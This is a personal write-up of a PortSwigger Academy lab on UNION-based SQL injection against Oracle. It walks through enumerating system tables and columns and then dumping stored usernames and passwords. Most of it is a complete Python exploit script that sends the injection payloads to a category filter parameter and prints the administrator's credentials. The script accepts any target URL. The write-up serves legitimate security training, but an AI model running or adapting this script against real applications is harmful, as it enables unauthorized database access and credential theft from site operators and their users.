Shubham Ranpise

Back

SQLi Lab 6

SQL injection for metadata enumeration and admin credential extraction on Oracle databases

portswigger-labs content

SQL injection attack, listing the database contents on Oracle#

This lab demonstrates how SQL injection (SQLi) on an Oracle database can be used to enumerate metadata and extract user credentials. The vulnerable product category filter returns query results in the application’s response, allowing a UNION SELECT attack to pull data from system metadata tables such as all_tables and all_tab_columns. Because Oracle requires a FROM clause for every SELECT, the built-in dual table is useful when selecting constant values during enumeration.

By determining the number of columns and which columns hold text, I enumerated table names, discovered the user table, retrieved column names for username and password fields, and finally dumped user credentials — including the administrator account needed to complete the lab.

How Exploit Works#

  • The category parameter in /filter is vulnerable to SQL injection.
  • First confirm the number of columns and which return text (e.g. '+UNION+SELECT+'abc','def'+FROM+dual--).
  • Use all_tables to list table names (Oracle-specific system view).
  • Use all_tab_columns to enumerate column names for the discovered user table.
  • Identify the username and password column names.
  • Perform a final UNION SELECT to dump usernames and passwords from the discovered table (remember Oracle requires FROM <table>; use dual when selecting constants).
  • Locate the administrator row and use the recovered password to log in.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Burp proxy settings
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """
    Verifies that Burp Suite is running and listening on the configured proxy.
    """
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.RequestException:
        print("[-] Burp Suite proxy is not reachable. Please start Burp.")
        sys.exit(1)

def get_users_table_name(url):
    """
    Extracts the users table name by querying the 'all_tables' in Oracle.
    """
    print("[*] Trying to extract users table name...")
    payload = "' UNION SELECT table_name, NULL FROM all_tables --"
    uri = '/filter?category='

    try:
        res = requests.get(url + uri + payload, verify=False, proxies=proxies)
        res.raise_for_status()
    except requests.RequestException as e:
        print(f"[-] Request failed while fetching table names: {e}")
        sys.exit(1)

    soup = BeautifulSoup(res.text, 'html.parser')
    for th in soup.find_all('th'):
        if th.text.lower().startswith("users"):
            print(f"[+] Found users table: {th.text}")
            return th.text

    print("[-] Users table not found.")
    sys.exit(1)

def get_column_names(url, table_name):
    """
    Extracts username and password column names from the given table in Oracle.
    """
    print(f"[*] Extracting columns from table: {table_name}")
    payload = f"' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='{table_name}' --"
    uri = '/filter?category='

    try:
        res = requests.get(url + uri + payload, verify=False, proxies=proxies)
        res.raise_for_status()
    except requests.RequestException as e:
        print(f"[-] Request failed while fetching columns: {e}")
        sys.exit(1)

    soup = BeautifulSoup(res.text, 'html.parser')
    username_col = password_col = None

    for th in soup.find_all('th'):
        if th.text.lower().startswith("username"):
            username_col = th.text
        if th.text.lower().startswith("password"):
            password_col = th.text

    if username_col and password_col:
        print(f"[+] Found username column: {username_col}")
        print(f"[+] Found password column: {password_col}")
        return username_col, password_col

    print("[-] Required columns not found.")
    sys.exit(1)

def get_admin_credentials(url, table_name, username_col, password_col):
    """
    Extracts administrator credentials from the table using the discovered columns in Oracle.
    """
    print("[*] Extracting administrator credentials...")
    payload = f"' UNION SELECT {username_col}, {password_col} FROM {table_name} --"
    uri = '/filter?category='

    try:
        res = requests.get(url + uri + payload, verify=False, proxies=proxies)
        res.raise_for_status()
    except requests.RequestException as e:
        print(f"[-] Request failed while retrieving credentials: {e}")
        sys.exit(1)

    soup = BeautifulSoup(res.text, 'html.parser')
    admin_entry = soup.find('th', string='administrator')

    if admin_entry:
        username = admin_entry.text.strip()
        password = admin_entry.find_next_sibling('td').text.strip()
        print(f"[+] Administrator credentials found!")
        print(f"    Username: {username}")
        print(f"    Password: {password}")
    else:
        print("[-] Administrator credentials not found in the response.")

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://target.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    check_burp()
    users_table = get_users_table_name(url)
    username_col, password_col = get_column_names(url, users_table)
    get_admin_credentials(url, users_table, username_col, password_col)

if __name__ == "__main__":
    main()
python

See more portswigger-labs